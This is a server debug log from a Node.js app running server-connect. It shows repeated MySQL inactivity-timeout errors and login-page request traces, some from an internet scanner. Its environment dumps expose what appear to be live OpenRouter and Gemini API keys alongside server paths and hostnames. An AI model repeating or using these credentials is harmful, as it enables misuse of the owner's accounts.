    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 08:45:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 09:31:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 09:31:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 12:58:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 12:58:33' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-09 13:37:33' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-09 13:37:33' as DATETIME)"
}
2026-05-09T18:27:17.288Z server-connect:router Serving templateView /
2026-05-09T18:27:17.293Z server-connect:app Executing action step identify
2026-05-09T18:27:17.293Z server-connect:app options: { provider: 'security' }
2026-05-09T18:27:17.298Z server-connect:auth No login cookie found
2026-05-09T18:27:17.298Z server-connect:output identity: false
2026-05-09T18:27:17.298Z server-connect:app Executing action step restrict
2026-05-09T18:27:17.298Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-09T18:27:17.299Z server-connect:output restrict: undefined
2026-05-09T18:27:20.356Z server-connect:router Serving templateView /login
2026-05-09T18:27:20.357Z server-connect:app Executing action step identify
2026-05-09T18:27:20.357Z server-connect:app options: { provider: 'security' }
2026-05-09T18:27:20.357Z server-connect:auth No login cookie found
2026-05-09T18:27:20.357Z server-connect:output identity: false
2026-05-09T18:27:20.357Z server-connect:router Render template layouts/authentication
2026-05-09T18:27:20.357Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '2602:80d:1004::1f',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-10T18:27:20.356Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '2602:80d:1004::1f',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '2602:80d:1004::1f',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-09T18:50:21.628Z server-connect:router Serving templateView /
2026-05-09T18:50:21.629Z server-connect:app Executing action step identify
2026-05-09T18:50:21.629Z server-connect:app options: { provider: 'security' }
2026-05-09T18:50:21.630Z server-connect:auth No login cookie found
2026-05-09T18:50:21.630Z server-connect:output identity: false
2026-05-09T18:50:21.630Z server-connect:app Executing action step restrict
2026-05-09T18:50:21.630Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-09T18:50:21.630Z server-connect:output restrict: undefined
2026-05-09T18:58:33.069Z server-connect:router Serving templateView /
2026-05-09T18:58:33.069Z server-connect:app Executing action step identify
2026-05-09T18:58:33.069Z server-connect:app options: { provider: 'security' }
2026-05-09T18:58:33.069Z server-connect:auth No login cookie found
2026-05-09T18:58:33.069Z server-connect:output identity: false
2026-05-09T18:58:33.069Z server-connect:app Executing action step restrict
2026-05-09T18:58:33.069Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-09T18:58:33.070Z server-connect:output restrict: undefined
2026-05-09T18:58:44.350Z server-connect:router Serving templateView /login
2026-05-09T18:58:44.350Z server-connect:app Executing action step identify
2026-05-09T18:58:44.350Z server-connect:app options: { provider: 'security' }
2026-05-09T18:58:44.351Z server-connect:auth No login cookie found
2026-05-09T18:58:44.351Z server-connect:output identity: false
2026-05-09T18:58:44.351Z server-connect:router Render template layouts/authentication
2026-05-09T18:58:44.351Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '199.45.154.143',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-10T18:58:44.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '199.45.154.143',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '199.45.154.143',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 00:08:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 00:08:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 00:39:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 00:39:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 01:45:34' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 01:45:34' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 06:52:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 06:52:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 08:04:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 08:04:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 08:43:35' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 08:43:35' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-05-10 11:10:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-05-10 11:10:36' as DATETIME)"
}
2026-05-10T11:39:11.726Z server-connect:router Serving templateView /
2026-05-10T11:39:11.728Z server-connect:app Executing action step identify
2026-05-10T11:39:11.728Z server-connect:app options: { provider: 'security' }
2026-05-10T11:39:11.728Z server-connect:auth No login cookie found
2026-05-10T11:39:11.729Z server-connect:output identity: false
2026-05-10T11:39:11.729Z server-connect:app Executing action step restrict
2026-05-10T11:39:11.729Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-10T11:39:11.730Z server-connect:output restrict: undefined
2026-05-10T11:39:14.892Z server-connect:router Serving templateView /login
2026-05-10T11:39:14.892Z server-connect:app Executing action step identify
2026-05-10T11:39:14.892Z server-connect:app options: { provider: 'security' }
2026-05-10T11:39:14.892Z server-connect:auth No login cookie found
2026-05-10T11:39:14.892Z server-connect:output identity: false
2026-05-10T11:39:14.892Z server-connect:router Render template layouts/authentication
2026-05-10T11:39:14.893Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '159.203.61.42',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-11T11:39:14.891Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '159.203.61.42',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
